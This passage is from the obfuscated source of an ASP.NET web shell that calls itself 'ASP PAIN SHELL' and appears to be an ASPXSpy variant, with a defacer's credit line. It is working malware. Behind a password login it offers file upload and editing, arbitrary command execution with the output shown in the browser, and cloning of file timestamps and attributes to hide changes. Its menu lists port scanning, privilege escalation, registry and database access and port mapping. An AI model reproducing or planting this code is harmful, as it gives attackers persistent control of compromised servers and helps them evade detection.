  4013.  
  4014. }
  4015.  
  4016. }
  4017.  
  4018. catch(Exception ex)
  4019.  
  4020. {
  4021.  
  4022. xseuB(ex.Message);
  4023.  
  4024. }
  4025.  
  4026. }
  4027.  
  4028. public void FJvQ(FileInfo objfile)
  4029.  
  4030. {
  4031.  
  4032. TableRow tr=new TableRow();
  4033.  
  4034. TableCell tc=new TableCell();
  4035.  
  4036. string bg=OKM();
  4037.  
  4038. tr.Attributes["onmouseover"]="this.className='focus';";
  4039.  
  4040. tr.CssClass=bg;
  4041.  
  4042. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  4043.  
  4044. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(objfile.DirectoryName)+"')\">"+objfile.FullName+"</a>";
  4045.  
  4046. tr.Cells.Add(tc);
  4047.  
  4048. tc=new TableCell();
  4049.  
  4050. tc.Text=objfile.LastWriteTime.ToString();
  4051.  
  4052. tr.Cells.Add(tc);
  4053.  
  4054. tc=new TableCell();
  4055.  
  4056. tc.Text=mTG(objfile.Length);
  4057.  
  4058. tr.Cells.Add(tc);
  4059.  
  4060. oJiym.Rows.Add(tr);
  4061.  
  4062. }
  4063.  
  4064. public void xseuB(string instr)
  4065.  
  4066. {
  4067.  
  4068. jDKt.Visible=true;
  4069.  
  4070. jDKt.InnerText=instr;
  4071.  
  4072. }
  4073.  
  4074. protected void xVm(object sender,EventArgs e)
  4075.  
  4076. {
  4077.  
  4078. string Jfm=FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text,"MD5").ToLower();
  4079.  
  4080. if(Jfm==Password)
  4081.  
  4082. {
  4083.  
  4084. Response.Cookies.Add(new HttpCookie(vbhLn,Password));
  4085.  
  4086. ljtzC.Visible=false;
  4087.  
  4088. PBZw();
  4089.  
  4090. }
  4091.  
  4092. else
  4093.  
  4094. {
  4095.  
  4096. tZSx();
  4097.  
  4098. }
  4099.  
  4100. }
  4101.  
  4102. protected void Ybg(object sender,EventArgs e)
  4103.  
  4104. {
  4105.  
  4106. krIR(Server.MapPath("."));
  4107.  
  4108. }
  4109.  
  4110. protected void KjPi(object sender,EventArgs e)
  4111.  
  4112. {
  4113.  
  4114. Bin_H2_Title.InnerText="Domains List >>";
  4115.  
  4116. WICxe();
  4117.  
  4118. VNR.Visible=true;
  4119.  
  4120. AdCx();
  4121.  
  4122. }
  4123.  
  4124. protected void DGCoW(object sender,EventArgs e)
  4125.  
  4126. {
  4127.  
  4128. try
  4129.  
  4130. {
  4131.  
  4132. StreamWriter sw;
  4133.  
  4134. if(NdCX.SelectedItem.Text=="UTF-8")
  4135.  
  4136. {
  4137.  
  4138. sw=new StreamWriter(Sqon.Value,false,Encoding.UTF8);
  4139.  
  4140. }
  4141.  
  4142. else
  4143.  
  4144. {
  4145.  
  4146. sw=new StreamWriter(Sqon.Value,false,Encoding.Default);
  4147.  
  4148. }
  4149.  
  4150. sw.Write(Xgvv.InnerText);
  4151.  
  4152. sw.Close();
  4153.  
  4154. xseuB("Save file success !");
  4155.  
  4156. }
  4157.  
  4158. catch(Exception error)
  4159.  
  4160. {
  4161.  
  4162. xseuB(error.Message);
  4163.  
  4164. }
  4165.  
  4166. krIR(AXSbb.Value);
  4167.  
  4168. }
  4169.  
  4170. protected void lbjLD(object sender,EventArgs e)
  4171.  
  4172. {
  4173.  
  4174. string FlwA=AXSbb.Value;
  4175.  
  4176. FlwA=OElM(FlwA);
  4177.  
  4178. try
  4179.  
  4180. {
  4181.  
  4182. Fhq.PostedFile.SaveAs(FlwA+Path.GetFileName(Fhq.Value));
  4183.  
  4184. xseuB("File upload success!");
  4185.  
  4186. }
  4187.  
  4188. catch(Exception error)
  4189.  
  4190. {
  4191.  
  4192. xseuB(error.Message);
  4193.  
  4194. }
  4195.  
  4196. krIR(AXSbb.Value);
  4197.  
  4198. }
  4199.  
  4200. protected void EXV(object sender,EventArgs e)
  4201.  
  4202. {
  4203.  
  4204. krIR(AXSbb.Value);
  4205.  
  4206. }
  4207.  
  4208. protected void mcCY(object sender,EventArgs e)
  4209.  
  4210. {
  4211.  
  4212. krIR(Server.MapPath("."));
  4213.  
  4214. }
  4215.  
  4216. protected void iVk(object sender,CommandEventArgs e)
  4217.  
  4218. {
  4219.  
  4220. krIR(e.CommandArgument.ToString());
  4221.  
  4222. }
  4223.  
  4224. protected void XXrLw(object sender,EventArgs e)
  4225.  
  4226. {
  4227.  
  4228. try
  4229.  
  4230. {
  4231.  
  4232. File.SetCreationTimeUtc(QiFB.Value,File.GetCreationTimeUtc(lICp.Value));
  4233.  
  4234. File.SetLastAccessTimeUtc(QiFB.Value,File.GetLastAccessTimeUtc(lICp.Value));
  4235.  
  4236. File.SetLastWriteTimeUtc(QiFB.Value,File.GetLastWriteTimeUtc(lICp.Value));
  4237.  
  4238. xseuB("File time clone success!");
  4239.  
  4240. }
  4241.  
  4242. catch(Exception error)
  4243.  
  4244. {
  4245.  
  4246. xseuB(error.Message);
  4247.  
  4248. }
  4249.  
  4250. krIR(AXSbb.Value);
  4251.  
  4252. }
  4253.  
  4254. protected void tIykC(object sender,EventArgs e)
  4255.  
  4256. {
  4257.  
  4258. string path=pWVL.Value;
  4259.  
  4260. try
  4261.  
  4262. {
  4263.  
  4264. File.SetAttributes(path,FileAttributes.Normal);
  4265.  
  4266. if(ZhWSK.Checked)
  4267.  
  4268. {
  4269.  
  4270. File.SetAttributes(path,FileAttributes.ReadOnly);
  4271.  
  4272. }
  4273.  
  4274. if(SsR.Checked)
  4275.  
  4276. {
  4277.  
  4278. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
  4279.  
  4280. }
  4281.  
  4282. if(ccB.Checked)
  4283.  
  4284. {
  4285.  
  4286. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
  4287.  
  4288. }
  4289.  
  4290. if(fbyZ.Checked)
  4291.  
  4292. {
  4293.  
  4294. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
  4295.  
  4296. }
  4297.  
  4298. File.SetCreationTimeUtc(path,Convert.ToDateTime(yUqx.Value));
  4299.  
  4300. File.SetLastAccessTimeUtc(path,Convert.ToDateTime(aLsn.Value));
  4301.  
  4302. File.SetLastWriteTimeUtc(path,Convert.ToDateTime(uYjw.Value));
  4303.  
  4304. xseuB("File attributes modify success!");
  4305.  
  4306. }
  4307.  
  4308. catch(Exception error)
  4309.  
  4310. {
  4311.  
  4312. xseuB(error.Message);
  4313.  
  4314. }
  4315.  
  4316. krIR(AXSbb.Value);
  4317.  
  4318. }
  4319.  
  4320. protected void VOxn(object sender,EventArgs e)
  4321.  
  4322. {
  4323.  
  4324. WICxe();
  4325.  
  4326. vIac.Visible=true;
  4327.  
  4328. Bin_H2_Title.InnerText="Execute Command >>";
  4329.  
  4330. }
  4331.  
  4332. protected void FbhN(object sender,EventArgs e)
  4333.  
  4334. {
  4335.  
  4336. try
  4337.  
  4338. {
  4339.  
  4340. Process ahAE=new Process();
  4341.  
  4342. ahAE.StartInfo.FileName=kusi.Value;
  4343.  
  4344. ahAE.StartInfo.Arguments=bkcm.Value;
  4345.  
  4346. ahAE.StartInfo.UseShellExecute=false;
  4347.  
  4348. ahAE.StartInfo.RedirectStandardInput=true;
  4349.  
  4350. ahAE.StartInfo.RedirectStandardOutput=true;
  4351.  
  4352. ahAE.StartInfo.RedirectStandardError=true;
  4353.  
  4354. ahAE.Start();
  4355.  
  4356. string Uoc=ahAE.StandardOutput.ReadToEnd();
  4357.  
  4358. Uoc=Uoc.Replace("<","&lt;");
  4359.  
  4360. Uoc=Uoc.Replace(">","&gt;");
  4361.  
  4362. Uoc=Uoc.Replace("\r\n","<br>");
  4363.  
  4364. tnQRF.Visible=true;
  4365.  
  4366. tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
  4367.  
  4368. }
  4369.  
  4370. catch(Exception error)
  4371.  
  4372. {
  4373.  
  4374. xseuB(error.Message);
  4375.  
  4376. }
  4377.  
  4378. }
  4379.  
  4380. protected void RAFL(object sender,EventArgs e)
  4381.  
  4382. {
  4383.  
  4384. if(qPdI.Text.Length>0)
  4385.  
  4386. {
  4387.  
  4388. tpRQ(qPdI.Text);
  4389.  
  4390. }
  4391.  
  4392. else
  4393.  
  4394. {
  4395.  
  4396. lFAvw();
  4397.  
  4398. }
  4399.  
  4400. }
  4401.  
  4402. protected void Grxk(object sender,EventArgs e)
  4403.  
  4404. {
  4405.  
  4406. YUw();
  4407.  
  4408. }
  4409.  
  4410. protected void ilC(object sender,EventArgs e)
  4411.  
  4412. {
  4413.  
  4414. tZRH();
  4415.  
  4416. }
  4417.  
  4418. protected void HtB(object sender,EventArgs e)
  4419.  
  4420. {
  4421.  
  4422. pDVM();
  4423.  
  4424. }
  4425.  
  4426. protected void Olm(object sender,EventArgs e)
  4427.  
  4428. {
  4429.  
  4430. iLVUT();
  4431.  
  4432. }
  4433.  
  4434. protected void jXhS(object sender,EventArgs e)
  4435.  
  4436. {
  4437.  
  4438. ADCpk();
  4439.  
  4440. }
  4441.  
  4442. protected void lRfRj(object sender,EventArgs e)
  4443.  
  4444. {
  4445.  
  4446. lDODR();
  4447.  
  4448. }
  4449.  
  4450. protected void xSy(object sender,EventArgs e)
  4451.  
  4452. {
  4453.  
  4454. xFhz();
  4455.  
  4456. }
  4457.  
  4458. protected void dMx(object sender,EventArgs e)
  4459.  
  4460. {
  4461.  
  4462. rAhe();
  4463.  
  4464. }
  4465.  
  4466. protected void zOVO(object sender,EventArgs e)
  4467.  
  4468. {
  4469.  
  4470. if(((DropDownList)sender).ID.ToString()=="WYmo")
  4471.  
  4472. {
  4473.  
  4474. dQIIF.Visible=false;
  4475.  
  4476. MasR.Text=WYmo.SelectedItem.Value.ToString();
  4477.  
  4478. }
  4479.  
  4480. if(((DropDownList)sender).ID.ToString()=="Pvf")
  4481.  
  4482. {
  4483.  
  4484. xTZY();
  4485.  
  4486. }
  4487.  
  4488. if(((DropDownList)sender).ID.ToString()=="FGEy")
  4489.  
  4490. {
  4491.  
  4492. jHIy.InnerText=FGEy.SelectedItem.Value.ToString();
  4493.  
  4494. }
  4495.  
  4496. if(((DropDownList)sender).ID.ToString()=="NdCX")
  4497.  
  4498. {
  4499.  
  4500. gLKc(Sqon.Value);
  4501.  
  4502. }
  4503.  
  4504. }
  4505.  
  4506. protected void IkkO(object sender,EventArgs e)
  4507.  
  4508. {
  4509.  
  4510. krIR(AXSbb.Value);
  4511.  
  4512. }
  4513.  
  4514. protected void BGY(object sender,EventArgs e)
  4515.  
  4516. {
  4517.  
  4518. vCf();
  4519.  
  4520. }
  4521.  
  4522. protected void cptS(object sender,EventArgs e)
  4523.  
  4524. {
  4525.  
  4526. vNCHZ();
  4527.  
  4528. }
  4529.  
  4530. protected void fDO(object sender,EventArgs e)
  4531.  
  4532. {
  4533.  
  4534. MHLv();
  4535.  
  4536. }
  4537.  
  4538. protected void vJNsE(object sender,EventArgs e)
  4539.  
  4540. {
  4541.  
  4542. vuou();
  4543.  
  4544. xseuB("Clear All Thread ......");
  4545.  
  4546. }
  4547.  
  4548. protected void wDZ(object sender,EventArgs e)
  4549.  
  4550. {
  4551.  
  4552. if(iXdh.Value=="" || eEpm.Value.Length<7 || ZHS.Value=="")return;
  4553.  
  4554. ruQO();
  4555.  
  4556. xseuB("All Thread Start ......");
  4557.  
  4558. }
  4559.  
  4560. protected void tYoZ(object sender,EventArgs e)
  4561.  
  4562. {
  4563.  
  4564. }
  4565.  
  4566. protected void ELkQ(object sender,EventArgs e)
  4567.  
  4568. {
  4569.  
  4570. VikG();
  4571.  
  4572. GBYT.Visible=true;
  4573.  
  4574. string res=string.Empty;
  4575.  
  4576. foreach(ScanPort th in IVc)
  4577.  
  4578. {
  4579.  
  4580. res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";
  4581.  
  4582. }
  4583.  
  4584. GBYT.InnerHtml=res;
  4585.  
  4586. }
  4587.  
  4588. protected void ORUgV(object sender,EventArgs e)
  4589.  
  4590. {
  4591.  
  4592. dwgT();
  4593.  
  4594. }
  4595.  
  4596. public void WICxe()
  4597.  
  4598. {
  4599.  
  4600. DCbS.Visible=false;
  4601.  
  4602. CzfO.Visible=false;
  4603.  
  4604. APl.Visible=false;
  4605.  
  4606. vIac.Visible=false;
  4607.  
  4608. kkHN.Visible=false;
  4609.  
  4610. YwLB.Visible=false;
  4611.  
  4612. iDgmL.Visible=false;
  4613.  
  4614. hOWTm.Visible=false;
  4615.  
  4616. vrFA.Visible=false;
  4617.  
  4618. yhv.Visible=false;
  4619.  
  4620. }
  4621.  
  4622. </script>
  4623.  
  4624. <html xmlns="http://www.w3.org/1999/xhtml" >
  4625.  
  4626. <head id="Head1" runat="server">
  4627.  
  4628. <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  4629.  
  4630. <title>::: ASP PAIN SHELL :::</title>
  4631.  
  4632. <style type="text/css">
  4633.  
  4634. .Bin_Style_Login{
  4635.  
  4636.     font: large "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4637.  
  4638.     border: thin #FF0000 outset;
  4639.  
  4640.     color: #FFFFFF;
  4641.  
  4642.     background-color: #C0C0C0;
  4643.  
  4644.     height: 26;
  4645.  
  4646.     width: 52;
  4647.  
  4648. }
  4649.  
  4650. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  4651.  
  4652. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:16px;}
  4653.  
  4654. .list{font:12px Arial,Tahoma;height:23px;}
  4655.  
  4656. .area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  4657.  
  4658. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
  4659.  
  4660. a {color: #00f;text-decoration:underline;}
  4661.  
  4662. a:hover{color: #f00;text-decoration:none;}
  4663.  
  4664. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:5px 10px 5px 5px;}
  4665.  
  4666. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:5px 10px 5px 5px;}
  4667.  
  4668. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  4669.  
  4670. .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font-weight:bold;}
  4671.  
  4672. .head td span{font-weight:normal;}
  4673.  
  4674. form{margin:0;padding:0;}
  4675.  
  4676. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  4677.  
  4678. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  4679.  
  4680. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  4681.  
  4682. .u1{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  4683.  
  4684. .u2{text-decoration: none;color:#777;float:left;display:block;width:350px;margin-right:10px;}
  4685.  
  4686. .style2 {
  4687.  
  4688.     outline-style: solid;
  4689.  
  4690.     border-top-color: #FF0000;
  4691.  
  4692.     outline: #FF0000;
  4693.  
  4694.     font: large "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4695.  
  4696.     border: #FF0000 inset;
  4697.  
  4698.     background-color: #EEEEEE;
  4699.  
  4700.     caption-side: inherit;
  4701.  
  4702.     cursor: text;
  4703.  
  4704.     width: 186;
  4705.  
  4706.     height: 26;
  4707.  
  4708.     color: #000000;
  4709.  
  4710. }
  4711.  
  4712. .style4 {
  4713.  
  4714.     font: normal normal bold 12px normal Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif;
  4715.  
  4716.     background: #fff;
  4717.  
  4718.     border: 1px solid #666;
  4719.  
  4720.     padding: 2px;
  4721.  
  4722.     height: 16px;
  4723.  
  4724. }
  4725.  
  4726. .style5 {
  4727.  
  4728.     font: normal normal bold 12px normal Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif;
  4729.  
  4730.     background: #fff;
  4731.  
  4732.     border: 1px solid #666;
  4733.  
  4734.     padding: 2px;
  4735.  
  4736. }
  4737.  
  4738. .style7 {
  4739.  
  4740.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4741.  
  4742. }
  4743.  
  4744. .style8 {
  4745.  
  4746.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4747.  
  4748.     font-weight: bold;
  4749.  
  4750. }
  4751.  
  4752. .style9 {
  4753.  
  4754.     font-weight: bold;
  4755.  
  4756. }
  4757.  
  4758. .style10 {
  4759.  
  4760.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4761.  
  4762.     font-size: large;
  4763.  
  4764. }
  4765.  
  4766. .style11 {
  4767.  
  4768.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4769.  
  4770.     font-weight: bold;
  4771.  
  4772.     font-size: large;
  4773.  
  4774. }
  4775.  
  4776. .style12 {
  4777.  
  4778.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4779.  
  4780.     font-weight: bold;
  4781.  
  4782.     font-size: x-large;
  4783.  
  4784. }
  4785.  
  4786. .style13 {
  4787.  
  4788.     color: #FFFFFF;
  4789.  
  4790.     text-align: left;
  4791.  
  4792. }
  4793.  
  4794. .style14 {
  4795.  
  4796.     color: #FFFFFF;
  4797.  
  4798.     font-size: medium;
  4799.  
  4800. }
  4801.  
  4802. .style15 {
  4803.  
  4804.     color: #FFFFFF;
  4805.  
  4806. }
  4807.  
  4808. .style16 {
  4809.  
  4810.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4811.  
  4812.     color: #FF0000;
  4813.  
  4814. }
  4815.  
  4816. .style17 {
  4817.  
  4818.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4819.  
  4820.     font-weight: bold;
  4821.  
  4822.     color: #FFFFFF;
  4823.  
  4824. }
  4825.  
  4826. .style18 {
  4827.  
  4828.     font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
  4829.  
  4830.     text-align: center;
  4831.  
  4832. }
  4833.  
  4834. .style19 {
  4835.  
  4836.     color: #FF0000;
  4837.  
  4838. }
  4839.  
  4840. .style20 {
  4841.  
  4842.     margin-top: 0px;
  4843.  
  4844. }
  4845.  
  4846. </style>
  4847.  
  4848. <script type="text/javascript">
  4849.  
  4850. function CheckAll(form){
  4851.  
  4852. for(var i=0;i<form.elements.length;i++){
  4853.  
  4854. var e=form.elements[i];
  4855.  
  4856. if(e.name!='chkall')
  4857.  
  4858. e.checked=form.chkall.checked;
  4859.  
  4860. }
  4861.  
  4862. }
  4863.  
  4864. </script>
  4865.  
  4866. </head>
  4867.  
  4868. <body style="margin:0;table-layout:fixed; background-color: #000000;">
  4869.  
  4870. <form id="ASPXSpy" runat="server">
  4871.  
  4872. <div id="ljtzC" runat="server" style=" margin:15px" enableviewstate="false" visible="false" class="style13" >
  4873.  
  4874.     <div>
  4875.  
  4876.     <span style="font-style: normal; font-variant: normal; line-height: normal;" class="style11"><br />
  4877.  
  4878.     <img src="http://arar-news.com/wp-content/plugins/rss-poster/cache/ddad9_d97ce118-3cbb-4a90-8118-49df5cf2906a.jpg" style="float: right" class="style20" height="218" /><br />
  4879.  
  4880.     <br />
  4881.  
  4882.     <br />
  4883.  
  4884.     <br />
  4885.  
  4886.     <br />
  4887.  
  4888.     <br />
  4889.  
  4890.     </span>
  4891.  
  4892.     <span style="font-style: normal; font-variant: normal; line-height: normal;" class="style12">Password:</span>
  4893.  
  4894. <asp:TextBox ID="HRJ" runat="server" Columns="20" CssClass="style2" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" Font-Size="Large" Height="26px" Width="186px" ></asp:TextBox>
  4895.  
  4896.     <span class="style11">&nbsp; </span>
  4897.  
  4898. <asp:Button ID="ZSnXu" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="xVm" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" Font-Size="Large" Height="26px" Width="52px"/>
  4899.  
  4900.         <br />
  4901.  
  4902.     </div>
  4903.  
  4904.     <b><span class="style10">
  4905.  
  4906.     <p/>
  4907.  
  4908.     Copyright &copy; 2010 :: CrAzY ArAr :: <a href="http://www.zone-h.org/archive/notifier=crazy-3r3r" target="_blank">[email protected]</a>
  4909.  
  4910.     </span></b>
  4911.  
  4912. </div>
  4913.  
  4914. <div id="ZVS" runat="server">
  4915.  
  4916. <div id="Zzj" runat="server">
  4917.  
  4918.  
  4919.  
  4920.     <br />
  4921.  
  4922.     <br />
  4923.  
  4924.     <img height="180" src="http://arar-news.com/wp-content/plugins/rss-poster/cache/ddad9_d97ce118-3cbb-4a90-8118-49df5cf2906a.jpg" style="float: right" width="407" /><table width="100%" border="0" cellpadding="0" cellspacing="0">
  4925.  
  4926. <tr class="head">
  4927.  
  4928. <td ><span style="float:right;" class="style7"><a href="http://www.aljyyosh.com" target="_blank">::ASP PAIN Shell::</a></span><span id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td>
  4929.  
  4930. </tr>
  4931.  
  4932. <tr class="alt1">
  4933.  
  4934. <td class="style9"><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span>
  4935.  
  4936. <asp:LinkButton ID="UtkN" runat="server" OnClick="YKpI" Text="Logout" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif" ></asp:LinkButton>
  4937.  
  4938. <span class="style7">| <asp:LinkButton ID="RsqhW" runat="server" Text="File Manager" OnClick="Ybg"></asp:LinkButton> | <asp:LinkButton ID="xxzE" runat="server" Text="Cmd-Command" OnClick="VOxn"></asp:LinkButton> | <asp:LinkButton ID="nuc" runat="server" Text="Domains List" OnClick="KjPi"></asp:LinkButton> | <asp:LinkButton ID="OREpx" runat="server" Text="Process" OnClick="Grxk"></asp:LinkButton> | <asp:LinkButton ID="jHN" runat="server" Text="Services" OnClick="ilC"></asp:LinkButton> | <asp:LinkButton ID="PHq" runat="server" Text="UserInfo" OnClick="Olm"></asp:LinkButton> | <asp:LinkButton ID="wmgnK" runat="server" Text="SysInfo" OnClick="HtB"></asp:LinkButton> | <asp:LinkButton ID="FeV" runat="server" Text="FileSearch" OnClick="PPtK"></asp:LinkButton> | <asp:LinkButton ID="PVQ" runat="server" Text="SU Exp" OnClick="jXhS"></asp:LinkButton> | <asp:LinkButton ID="jNDb" runat="server" Text="RegShell" OnClick="xSy"></asp:LinkButton> | <asp:LinkButton ID="HDQ" runat="server" Text="PortScan" OnClick="cptS" ></asp:LinkButton> | <asp:LinkButton ID="AoI" runat="server" Text="DataBase" OnClick="dMx"></asp:LinkButton> | <asp:LinkButton ID="KHbEd" runat="server" Text="PortMap" OnClick="fDO"></asp:LinkButton>
  4939.  
  4940. </span>
  4941.  
  4942. </td>
  4943.  
  4944. </tr>
  4945.  
  4946. </table>
  4947.  
  4948. </div>
  4949.  
  4950. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  4951.  
  4952. <div id="jDKt" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div>
  4953.  
  4954. <h2 id="Bin_H2_Title" runat="server"></h2>
  4955.  
  4956. <%--FileList--%>
  4957.  
  4958. <div id="CzfO" runat="server">
  4959.  
  4960. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  4961.  
  4962.  <tr>
  4963.  
  4964. <td style=" white-space:nowrap" class="style17">Current Directory : </td>
  4965.  
  4966. <td style=" width:100%">
  4967.  
  4968. <input class="style4" id="AXSbb" type="text" style="width:97%;margin:0 8px;" runat="server"/><span class="style8">
  4969.  
  4970. </span>
  4971.  
  4972. </td>
  4973.  
  4974. <td style="white-space:nowrap" >
  4975.  
  4976. <asp:Button ID="xaGwl" runat="server" Text="Go" CssClass="bt" OnClick="EXV" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></td>
  4977.  
  4978.  </tr>
  4979.  
  4980. </table>
  4981.  
  4982. <table width="100%" border="0" cellpadding="4" cellspacing="0">
  4983.  
  4984. <tr class="alt1"><td style="padding:5px;">
  4985.  
  4986. <div style="float:right;">
  4987.  
  4988.     <input id="Fhq" class="style4" runat="server" type="file" style=" height:22px"/>
  4989.  
  4990. <asp:Button ID="RvPp" CssClass="bt" runat="server" Text="Upload" OnClick="lbjLD" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></div>
  4991.  
  4992.     <b>
  4993.  
  4994.     <asp:LinkButton ID="OLJFp" runat="server" Text="WebRoot" OnClick="mcCY" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"></asp:LinkButton>
  4995.  
  4996.     <span class="style7">| <a href="#" id="Bin_Button_CreateDir" runat="server">Create Directory</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">Create File</a>
  4997.  
  4998.  | <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">Kill Me</a>
  4999.  
  5000.     </span></b>
  5001.  
  5002. </td></tr>
  5003.  
  5004. <asp:Table ID="UGzP" runat="server" Width="100%" CellSpacing="0" >
  5005.  
  5006. <asp:TableRow CssClass="head"><asp:TableCell>&nbsp;</asp:TableCell><asp:TableCell>Filename</asp:TableCell><asp:TableCell Width="25%">Last modified</asp:TableCell><asp:TableCell Width="15%">Size</asp:TableCell><asp:TableCell Width="25%">Action</asp:TableCell></asp:TableRow>
  5007.  
  5008. </asp:Table>
  5009.  
  5010. </table>
  5011.  
  5012. </div>
  5013.  
  5014. <%--FileEdit--%>
  5015.  
  5016. <div id="vrFA" runat="server">
  5017.  
  5018. <p><span class="style8"><span class="style14">Current File(import new file name and new file)</span><br/>
  5019.  
  5020. </span>
  5021.  
  5022. <input class="style4" id="Sqon" type="text" size="100" runat="server"/>
  5023.  
  5024. <asp:DropDownList ID="NdCX" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="zOVO" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"><asp:ListItem>Default</asp:ListItem><asp:ListItem>UTF-8</asp:ListItem></asp:DropDownList>
  5025.  
  5026. </p>
  5027.  
  5028. <p><span class="style8"><span class="style15">File Content :</span><br/>
  5029.  
  5030. </span>
  5031.  
  5032. <textarea id="Xgvv" runat="server" class="style5" cols="100" rows="25" enableviewstate="true" ></textarea><span class="style8">
  5033.  
  5034. </span>
  5035.  
  5036. </p>
  5037.  
  5038. <p>
  5039.  
  5040. <asp:Button ID="JJjbW" runat="server" Text="Submit" CssClass="bt" OnClick="DGCoW" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5041.  
  5042. <asp:Button ID="iCNu" runat="server" Text="Back" CssClass="bt" OnClick="IkkO" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></p>
  5043.  
  5044. </div>
  5045.  
  5046. <%--CloneTime--%>
  5047.  
  5048. <div id="zRyG" runat="server" enableviewstate="false" visible="false">
  5049.  
  5050. <p><span class="style8"><span class="style15">Alter file :</span><br/></span>
  5051.  
  5052. <input class="style4" id="QiFB" type="text" size="120" runat="server"/></p>
  5053.  
  5054. <p><span class="style8"><span class="style15">Reference file(fullpath) :</span><br/></span>
  5055.  
  5056. <input class="style4" id="lICp" type="text" size="120" runat="server"/></p>
  5057.  
  5058. <p>
  5059.  
  5060. <asp:Button ID="JEaxV" runat="server" Text="Submit" CssClass="bt" OnClick="XXrLw" Font-Bold="True" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/></p>
  5061.  
  5062. <h2 class="style16">Set last modified &raquo;</h2>
  5063.  
  5064.     <span class="style8">
  5065.  
  5066. <p><span class="style15">Current file(fullpath) :</span><br/></span>
  5067.  
  5068. <input class="style4" id="pWVL" type="text" size="120" runat="server"/></p>
  5069.  
  5070. <p>
  5071.  
  5072. <b>
  5073.  
  5074. <asp:CheckBox ID="ZhWSK" runat="server" Text="ReadOnly" EnableViewState="False" Font-Names="Gill Sans, Gill Sans MT, Calibri, Trebuchet MS, sans-serif"/>
  5075.  
  5076. <span class="style7">&nbsp;
  5077.  
  5078. <asp:CheckBox ID="SsR" runat="server" Text="System" EnableViewState="False"/>
  5079.  
  5080. &nbsp;
  5081.  
  5082. <asp:CheckBox ID="ccB" runat="server" Text="Hidden" EnableViewState="False"/>
  5083.  
  5084. &nbsp;
  5085.  
  5086. <asp:CheckBox ID="fbyZ" runat="server" Text="Archive" EnableViewState="False"/>
  5087.  
  5088. </p>
  5089.  
  5090. <p>
  5091.  
  5092. <span class="style15">CreationTime :
  5093.  
  5094. </span>
  5095.  
  5096. </span></b>
  5097.  
  5098. <input class="style4" id="yUqx" type="text" runat="server"/><span class="style8">
  5099.  
  5100. <span class="style15">LastWriteTime :
  5101.  
  5102. </span>
  5103.  
  5104. </span>
  5105.  
  5106. <input class="style4" id="uYjw" type="text" runat="server"/><span class="style8">
  5107.  
  5108. <span class="style15">LastAccessTime :
  5109.  
  5110. </span>
  5111.  
  5112. </span>
  5113.  
